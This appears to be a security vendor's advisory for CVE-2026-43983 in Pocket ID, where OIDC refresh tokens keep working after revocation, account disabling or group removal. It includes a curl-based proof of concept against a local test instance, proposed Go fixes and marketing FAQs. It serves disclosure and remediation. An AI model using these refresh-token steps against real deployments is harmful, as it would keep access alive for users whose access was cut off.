Summary
Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions
OIDC Refresh Token Flow Bypasses Authorization Revocation, Account Disabling, and Group Restrictions
The createTokenFromRefreshToken function (oidc_service.go:451) validates the refresh token's cryptographic integrity but does not re-validate the user's current authorization state before issuing new tokens. This allows three bypasses:
Authorization revocation bypass: After a user revokes an OIDC client's authorization, the client can continue refreshing tokens indefinitely because
RevokeAuthorizedClientdoes not delete associated refresh tokens, and the refresh flow does not check if the authorization record still exists.Disabled user bypass: After an admin disables a user account, pre-existing refresh tokens continue to work because the OIDC token endpoint does not check
user.Disabled. Session-based access is properly blocked by auth middleware, but the OIDC refresh path bypasses it entirely.Group restriction bypass: After removing a user from an OIDC client's allowed user groups, the refresh token continues to work because
createTokenFromRefreshTokendoes not callIsUserGroupAllowedToAuthorize.
Each refresh rotates the token with a fresh 30-day expiry, enabling perpetual access.
Target
- Repository: pocket-id/pocket-id
- Version: HEAD (626adbf), also affects v2.5.0 and all versions with refresh token support
Root Cause
createTokenFromRefreshToken (oidc_service.go:451-547) performs the following checks on a refresh request:
- Verify the signed refresh token JWT (line 457) -- checked
- Verify client credentials (line 467) -- checked
- Look up stored refresh token by hash, expiry, user_id, client_id (line 478-495) -- checked
- Verify refresh token belongs to the requesting client (line 498) -- checked
It does NOT check:
- Whether a
UserAuthorizedOidcClientrecord still exists for the user-client pair -- MISSING - Whether
user.Disabledis false -- MISSING - Whether
IsUserGroupAllowedToAuthorizepasses for group-restricted clients -- MISSING (groups are loaded at line 481 viaPreload("User.UserGroups")but never validated)
Meanwhile, RevokeAuthorizedClient (line 1445-1471) only deletes the UserAuthorizedOidcClient record. It does not delete associated OidcRefreshToken records. There is no FK cascade between these tables (the FK cascade on oidc_refresh_tokens is only on user DELETE and client DELETE, not on authorization record deletion).
Proof of Concept (Verified Live)
Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build. All 20 test assertions pass.
Variant 1: Authorization Revocation Bypass
# Reset test DB
curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true
# Authenticate as Tim (admin user, seeded OTA token)
curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV
# Authorize Nextcloud client
AUTH_CODE=$(curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \
-H "Content-Type: application/json" \
-d '{"clientId":"3654a746-35d4-4321-ac61-0bdcff2b4055","scope":"openid profile email groups","callbackURL":"http://nextcloud/auth/callback"}' \
| python3 -c "import json,sys; print(json.load(sys.stdin)['code'])")
# Exchange for tokens (including refresh token)
TOKENS=$(curl -s -X POST http://localhost:1411/api/oidc/token \
-d "grant_type=authorization_code&code=$AUTH_CODE&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY&redirect_uri=http://nextcloud/auth/callback")
REFRESH=$(echo $TOKENS | python3 -c "import json,sys; print(json.load(sys.stdin)['refresh_token'])")
# User revokes authorization (returns 204)
curl -s -o /dev/null -w "%{http_code}" -b cookies.txt \
-X DELETE http://localhost:1411/api/oidc/users/me/authorized-clients/3654a746-35d4-4321-ac61-0bdcff2b4055
# Output: 204
# ATTACK: Refresh token STILL WORKS after revocation
curl -s -X POST http://localhost:1411/api/oidc/token \
-d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY"
# Returns 200 with new access_token, id_token (containing PII), and refresh_token (new 30-day expiry)
Live output: Introspection confirms active: true. ID token contains: name: Tim Cook, email: [email protected], groups: [designers, developers].
Variant 2: Disabled User Bypass
# (After setup and obtaining refresh token as above)
# Admin disables Tim's account
curl -s -b cookies.txt -X PUT http://localhost:1411/api/users/f4b89dc2-62fb-46bf-9f5f-c34f4eafe93e \
-H "Content-Type: application/json" \
-d '{"disabled":true,"username":"tim","email":"[email protected]","firstName":"Tim","lastName":"Cook","isAdmin":true}'
# Returns 200 with disabled: true
# Session access properly blocked (auth middleware checks Disabled)
curl -s -o /dev/null -w "%{http_code}" -b cookies.txt http://localhost:1411/api/users/me
# Output: 401
# ATTACK: Refresh token STILL WORKS for disabled user
curl -s -X POST http://localhost:1411/api/oidc/token \
-d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY"
# Returns 200 with full token set
# Userinfo also works for disabled user
curl -s -H "Authorization: Bearer $NEW_ACCESS" http://localhost:1411/api/oidc/userinfo
# Returns: {"name":"Tim Cook","email":"[email protected]",...}
Impact: The admin kill switch for terminating employee access is completely bypassed. A fired employee's pre-existing OIDC refresh tokens continue to grant access to all downstream services.
Variant 3: Group Restriction Bypass
# (After setup, authorize Immich client which is group-restricted to "designers")
# Tim is in designers group, gets authorized and obtains refresh token
# Remove Tim from designers group (keep only Craig)
curl -s -b cookies.txt -X PUT http://localhost:1411/api/user-groups/adab18bf-f89d-4087-9ee1-70ff15b48211/users \
-H "Content-Type: application/json" -d '{"userIds":["1cd19686-f9a6-43f4-a41f-14a0bf5b4036"]}'
# Tim no longer in designers
# ATTACK: Refresh token STILL WORKS after group removal
# Returns 200 with new tokens
Related
GitHub issue #1390 reports a similar pattern: refresh tokens are not deleted when a session ends via the end-session endpoint. Same root cause (refresh token lifecycle detached from authorization state), different entry point.
Primary fix: Re-validate authorization state in createTokenFromRefreshToken
Add the following checks after the refresh token lookup (after line 495):
// Check 1: Verify user is not disabled
if storedRefreshToken.User.Disabled {
return CreatedTokens{}, &common.OidcInvalidRefreshTokenError{}
}
// Check 2: Verify UserAuthorizedOidcClient still exists
var authorizedClient model.UserAuthorizedOidcClient
err = tx.WithContext(ctx).
Where("user_id = ? AND client_id = ?", storedRefreshToken.UserID, input.ClientID).
First(&authorizedClient).Error
if errors.Is(err, gorm.ErrRecordNotFound) {
// Authorization was revoked - delete this refresh token and reject
tx.Delete(&storedRefreshToken)
return CreatedTokens{}, &common.OidcInvalidRefreshTokenError{}
}
// Check 3: Re-verify group restrictions
if !IsUserGroupAllowedToAuthorize(storedRefreshToken.User, client) {
return CreatedTokens{}, &common.OidcAccessDeniedError{}
}
Secondary fix: Delete refresh tokens on authorization revocation
In RevokeAuthorizedClient, also delete all refresh tokens for the user-client pair:
// After deleting the authorized client record
err = tx.WithContext(ctx).
Where("user_id = ? AND client_id = ?", userID, clientID).
Delete(&model.OidcRefreshToken{}).Error
if err != nil {
return err
}
Both fixes should be applied together (defense in depth).
Self-Review
- Is this by-design? No. The revocation feature, the disabled flag, and group restrictions all exist to control access. The refresh flow bypassing all three is a bug, not a feature.
- Are there upstream bounds? No. Refresh tokens are stored independently. No FK cascade, no periodic cleanup, no validation of authorization state.
- Honest weaknesses:
- Variant 1 (revocation): The attacker must be the OIDC client operator (they need client credentials and existing refresh token). Userinfo endpoint does return 404 after revocation, which is a partial mitigation. But the id_token issued during refresh already contains all PII.
- All variants: Requires a pre-existing refresh token, so the access must have been legitimately granted at some point.
- Existing reports: Issue #1390 covers the related end-session case. No prior security reports for the revocation/disabled/group variants.
Koda Reef
Impact
The three variants share the same root cause but have different real-world implications:
Authorization revocation is ineffective: Users who revoke an OIDC client's access have a false sense of security. A malicious or compromised client retains indefinite access to the user's identity data through token rotation. The id_token issued during refresh contains full PII (name, email, groups, custom claims) regardless of the userinfo endpoint's authorization check.
Account disabling does not terminate OIDC access: This is the highest-severity variant. When an organization terminates an employee and disables their Pocket ID account, all session-based access is correctly blocked. But any OIDC client that obtained a refresh token before the disabling continues to have full access. In enterprise environments where Pocket ID gates access to sensitive services (Git, CI/CD, infrastructure), this creates a persistent backdoor.
Group-based access control is only enforced at authorization time: Group restrictions on OIDC clients (e.g., "only the infrastructure team can access the CI/CD client") can be bypassed by anyone who obtained a refresh token before being removed from the group.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-43983? CVE-2026-43983 is a high-severity security vulnerability in github.com/pocket-id/pocket-id/backend (go), affecting versions < 0.0.0-20260419162744-978ac87deffe. It is fixed in 0.0.0-20260419162744-978ac87deffe.
- Which versions of github.com/pocket-id/pocket-id/backend are affected by CVE-2026-43983? github.com/pocket-id/pocket-id/backend (go) versions < 0.0.0-20260419162744-978ac87deffe is affected.
- Is there a fix for CVE-2026-43983? Yes. CVE-2026-43983 is fixed in 0.0.0-20260419162744-978ac87deffe. Upgrade to this version or later.
- Is CVE-2026-43983 exploitable, and should I be worried? Whether CVE-2026-43983 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-43983 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-43983? Upgrade
github.com/pocket-id/pocket-id/backendto 0.0.0-20260419162744-978ac87deffe or later.